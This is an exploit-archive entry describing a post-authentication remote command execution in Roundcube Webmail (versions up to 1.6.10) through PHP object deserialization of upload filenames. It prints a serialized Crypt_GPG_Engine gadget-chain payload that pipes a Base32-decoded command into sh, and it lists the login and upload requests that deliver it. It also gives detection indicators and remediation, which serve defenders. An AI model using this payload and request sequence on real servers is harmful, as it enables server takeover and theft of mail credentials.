Roundcube Webmail Post-Auth RCE via PHP Object Deserialization (CVE-2025-49113)
by rippsec · 2026-07-06
- Severity
- Critical
- CVE
- CVE-2025-49113
- Category
- web
- Affected product
- Roundcube Webmail
- Affected versions
- ≤ 1.6.10
- Disclosed
- 2026-07-06
- Patch status
- unpatched
Tags
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-06 |
| Last Updated | 2026-07-06 |
| Author / Researcher | rippsec |
| CVE / Advisory | CVE-2025-49113 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.9 (per NVD) |
| Status | Weaponized |
| Tags | roundcube, webmail, php, deserialization, object-injection, gadget-chain, rce, post-auth, cwe-502 |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Roundcube Webmail |
| Versions Affected | ≤ 1.6.10 |
| Language / Platform | Python 3 (stdlib only) PoC targeting a PHP web application |
| Authentication Required | Yes (any valid Roundcube user account) |
| Network Access Required | Yes (HTTP/HTTPS to the Roundcube instance) |
Summary
Roundcube Webmail versions up to and including 1.6.10 are vulnerable to a post-authentication PHP object deserialization vulnerability in the file upload handler, which passes a client-supplied attachment filename through a deserialization path without validation. The root cause is that the Crypt_GPG_Engine class (present in Roundcube’s dependency chain) acts as a usable gadget chain: its _gpgconf property is invoked in a system-level call during object handling. An authenticated attacker can craft a serialized Crypt_GPG_Engine object as the filename of an uploaded attachment, causing the server to instantiate it and execute an attacker-controlled OS command as the webserver user. The included Python PoC logs into Roundcube, then uploads a multipart file whose filename field contains the malicious serialized payload (with the command Base32-encoded to survive the filename field’s character restrictions), achieving full remote command execution.
Vulnerability Details
Root Cause
Roundcube’s ?_task=settings&_action=upload endpoint deserializes the client-supplied filename field of an uploaded attachment without validating or restricting which classes may be instantiated (CWE-502). The Crypt_GPG_Engine class, reachable via Roundcube’s dependencies, exposes a _gpgconf property that is passed into a system-level call when the object is processed. By serializing an instance of this class with a _gpgconf value of the form <base32-command> | base32 -d | sh &#, an attacker forces execution of an arbitrary shell command:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
The command is Base32-encoded (base64.b32encode) specifically to avoid characters (quotes, slashes) that would break the multipart filename field, and the trailing &# backgrounds the command and comments out any trailing garbage appended by Roundcube.
Attack Vector
GET /?_task=login— fetch the CSRF token (_tokeninput) and session cookie from the login page.POST /?_task=loginwith_token,_user,_pass— authenticate with any valid Roundcube credentials; a302response confirms success and refreshes session cookies.- Build the malicious serialized
Crypt_GPG_Enginepayload embedding the target OS command (Base32-encoded), and escape double quotes for use in a multipart filename. POST /?_task=settings&_remote=1&_action=uploadwith a multipart body whereContent-Disposition: form-data; name="_file[]"; filename="<payload>"carries the serialized object (disguised with a minimal valid PNG body/Content-Type: image/png).- The server deserializes the filename into a
Crypt_GPG_Engineobject; its_gpgconffield is passed to a system-level call, executingecho "<B32_CMD>" | base32 -d | sh &#as the webserver user.
Impact
Any authenticated Roundcube user (regardless of privilege level) can achieve arbitrary remote command execution as the webserver process user, leading to full server compromise (webshell drop, credential theft from Roundcube’s DB config, pivoting into internal mail infrastructure).
Environment / Lab Setup
Target: Roundcube Webmail <= 1.6.10 with a valid low-privilege user account
Attacker: Python 3 (standard library only: http.client, urllib, base64, html.parser) — no third-party
dependencies required
Proof of Concept
PoC Script
See
exploit.pyin this folder.
| |
Authenticates to Roundcube, then uploads a crafted multipart file whose filename contains a serialized Crypt_GPG_Engine gadget chain, triggering command execution on the server via the _gpgconf sink.
Detection & Indicators of Compromise
Signs of compromise:
- Roundcube access logs showing upload requests with abnormally long or serialized-looking filenames
- Unexpected
sh/base32child processes under the PHP-FPM/Apache/Nginx worker - New webshells or unauthorized files in the Roundcube webroot
- Outbound connections from the mail server to unfamiliar attacker-controlled IPs/ports
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade Roundcube Webmail to a version newer than 1.6.10 that sanitizes/restricts deserialization of upload filenames |
| Interim mitigation | Restrict or disable the GPG/Crypt_GPG dependency chain if unused; enforce WAF rules blocking PHP serialization markers (O:, s:) in upload filename fields; monitor for anomalous child processes spawned by the webmail server |
References
Notes
Mirrored from https://github.com/rippsec/CVE-2025-49113-Roundcube-RCE on 2026-07-06. 212-line exploit.py logs in then uploads a multipart file with a serialized gadget-chain filename; stdlib-only, no obfuscation.
| |